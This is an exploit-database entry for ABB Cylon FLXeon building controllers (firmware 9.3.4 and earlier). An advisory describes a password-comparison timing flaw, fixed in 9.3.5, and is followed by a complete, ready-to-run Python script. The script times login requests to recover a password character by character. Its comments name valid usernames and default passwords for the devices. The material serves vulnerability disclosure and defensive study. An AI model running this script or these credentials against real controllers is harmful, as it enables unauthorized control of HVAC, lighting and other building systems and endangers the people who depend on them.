Lucene search
K

ABB Cylon FLXeon 9.3.4 login.js Node Timing Attack

๐Ÿ—“๏ธย 14 Feb 2025ย 00:00:00Reported byย LiquidWormTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 302ย Views

Timing attack in ABB Cylon FLXeon 9.3.4 due to flawed password hash comparisons in login.js.

Code
#!/usr/bin/env python3
    #
    #
    # ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
    # 
    # 
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb                   
    # Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
    #                   CBX Series (FLX Series)
    #                   CBT Series
    #                   CBV Series
    #                   Firmware: <=9.3.4
    # 
    # Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
    # series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโ„ข
    # building management solutions. ABB BACnet controllers are designed for intelligent
    # control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    # heat pump systems, air handling units (constant volume, variable air volume, and
    # multi-zone), rooftop units, electrical systems such as lighting control, variable
    # frequency drives and metering.
    # 
    # The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    # connectivity and open integration for your building automation systems. It's scalable,
    # and modular, allowing you to control a diverse range of HVAC functions.
    #
    # Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
    # due to improper comparison of password hashes in login.js and uukl.js. Specifically,
    # the verifyPassword() function in login.js and the verify() function in uukl.js both
    # calculate the password hash and compare it to the stored hash. In these implementations,
    # small differences in response times are introduced based on how much of the password
    # or the username matches the stored hash, making the system vulnerable to timing-based
    # analysis.
    #
    # In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
    # which can reveal subtle timing discrepancies depending on the number of matching characters
    # between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
    # compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
    # using if (hash == savedHash). The time taken for these comparisons can vary based on the
    # number of correct characters in the password, allowing an attacker to infer portions of
    # the password by measuring response times.
    #
    # These vulnerabilities can be exploited by attackers to enumerate valid usernames and
    # incrementally discover passwords. By analyzing the differences in response times, attackers
    # can determine which characters of the password are correct. This can lead to information
    # leakage, user enumeration, and password cracking. The timing differences between correct
    # and incorrect passwords, combined with the use of simple conditional checks for hash
    # comparisons, provide an opportunity for attackers to deduce valid portions of the password.
    # This makes it easier for attackers to identify the correct password, especially when
    # attempting to reset or change it.
    #
    # Network latency can introduce additional mismeasurement, affecting the accuracy of timing
    # differences and potentially leading to false conclusions during the attack.
    #
    # Fix:
    # Version: 9.3.5
    # Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
    #
    # -----------------------------------------------------
    #
    # $ ./ntime.py 7.3.3.1 --verbose # not a valid username
    # [DEBUG] Initial check failed (HTTP 401)
    # [DEBUG] Baseline time: 337 ms
    # [1] Tried: changemea | Avg Response: 344 ms
    # [2] Tried: changemeb | Avg Response: 333 ms
    # [3] Tried: changemec | Avg Response: 333 ms
    # [4] Tried: changemed | Avg Response: 344 ms
    # [5] Tried: changemee | Avg Response: 328 ms
    # [6] Tried: changemef | Avg Response: 333 ms
    # [7] Tried: changemeg | Avg Response: 339 ms
    # [8] Tried: changemeh | Avg Response: 333 ms
    # [9] Tried: changemei | Avg Response: 333 ms
    # [10] Tried: changemej | Avg Response: 322 ms
    # ^C
    # $ ./ntime.py 7.3.3.1 --verbose # valid username
    # [DEBUG] Initial check failed (HTTP 401)
    # [DEBUG] Baseline time: 599 ms
    # [1] Tried: changemea | Avg Response: 672 ms
    # [2] Tried: changemeb | Avg Response: 617 ms
    # [3] Tried: changemec | Avg Response: 611 ms
    # [4] Tried: changemed | Avg Response: 600 ms
    # [5] Tried: changemee | Avg Response: 594 ms
    # [6] Tried: changemef | Avg Response: 617 ms
    # [7] Tried: changemeg | Avg Response: 600 ms
    # [8] Tried: changemeh | Avg Response: 605 ms
    # [9] Tried: changemei | Avg Response: 605 ms
    # [10] Tried: changemej | Avg Response: 605 ms
    #
    # -----------------------------------------------------
    #
    # Tested on: Linux Kernel 5.4.27
    #            Linux Kernel 4.15.13
    #            NodeJS/8.4.0
    #            Express
    # 
    # 
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5925
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
    # CWE ID: CWE-208 (Observable Timing Discrepancy)
    # CWE URL: https://cwe.mitre.org/data/definitions/208.html
    #
    #
    # 21.04.2024
    #
    #
    
    from datetime import datetime
    from statistics import mean
    import threading
    import requests
    import string
    import time
    import sys
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    proj = r"""
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
                                             
                ABB Cylon FLXeon Series <=9.3.4
                     NodeJS Timing Attack
                        ZSL-2025-5925
    """
    
    print(proj)
    
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <IP> [--verbose]")
        sys.exit(1)
    
    ip = sys.argv[1]
    url = f"https://{ip}/api/login"
    username = "rooot"    # valid users: root, admin, cxpro
    password = "changeme" # default pwds: cylonctl, siteguide
    charset = string.ascii_lowercase + string.digits
    
    verbose = "--verbose" in sys.argv
    
    SAMPLES = 3           # number of samples for timing accuracy
    BASELINE_SAMPLES = 5  # baseline measurement attempts
    
    request_counter = 0
    request_counter_lock = threading.Lock()
    
    def ftime(seconds):
        if seconds < 1:
            return f"{seconds * 1000:.0f} ms"
        else:
            return f"{seconds:.2f} s"
    
    def chkpwd():
        global password
        data = {"username": username, "password": password}
        try:
            response = requests.post(url, json=data, verify=False)
            if response.status_code == 200:
                print(f"[+] Password found instantly: {password}")
                return True
            elif verbose:
                print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
        except Exception as e:
            print(f"[ERROR] Request failed: {e}")
        return False
    
    def measure(full_password):
        timings = []
        for _ in range(SAMPLES):
            start = time.time()
            try:
                headers = {'Connection': 'close'}
                response = requests.post(url, json={"username": username, "password": full_password}, 
                                        verify=False, headers=headers)
                response.text
            except Exception as e:
                return None
            elapsed = time.time() - start
            timings.append(elapsed)
        return mean(timings)
    
    def brutus():
        global password
    
        if chkpwd():
            return
    
        baseline_times = []
        for _ in range(BASELINE_SAMPLES):
            time = measure("wrong_password")
            if time:
                baseline_times.append(time)
        baseline = mean(baseline_times) if baseline_times else 0
    
        print(f"[DEBUG] Baseline time: {ftime(baseline)}")
    
        for position in range(len(password), 17): # pwd length
            best_char = None
            best_time = baseline
    
            for char in charset:
                candidate = password + char
                avg_time = measure(candidate)
                if not avg_time:
                    continue
    
                if verbose:
                    with request_counter_lock:
                        global request_counter
                        request_counter += 1
                        print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")
    
                if avg_time > best_time * 1.2: # 20% threshold
                    best_char = char
                    best_time = avg_time
    
            if best_char:
                password += best_char
                print(f"[+] Progress: {password}")
                data = {"username": username, "password": password}
                response = requests.post(url, json=data, verify=False)
                if response.status_code == 200:
                    print(f"[+] Password Found: {password}")
                    return
            else:
                print("[ERROR] No significant timing difference detected.")
                break
    
    if __name__ == "__main__":
        start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[+] Le script started at {start_time}")
        brutus()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation